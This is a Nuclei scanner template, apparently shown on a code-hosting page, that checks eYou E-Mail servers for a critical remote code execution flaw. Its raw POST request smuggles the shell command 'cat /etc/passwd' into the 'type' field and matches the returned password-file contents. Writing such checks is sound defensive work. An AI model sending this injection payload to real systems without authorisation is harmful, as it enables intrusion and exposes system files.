nuclei-templates/vulnerabilities/other/eyou-email-rce.yaml

29 lines
564 B
YAML
Raw Normal View History

2021-04-13 06:40:20 +00:00
id: eyou-email-rce
info:
name: eYou E-Mail system RCE
author: pikpikcu
severity: critical
reference: https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
2021-04-13 20:24:06 +00:00
tags: rce,eyou
2021-04-13 06:40:20 +00:00
requests:
- raw:
- |
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
type='|cat /etc/passwd||'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-04-13 06:40:20 +00:00
part: body
- type: status
status:
- 200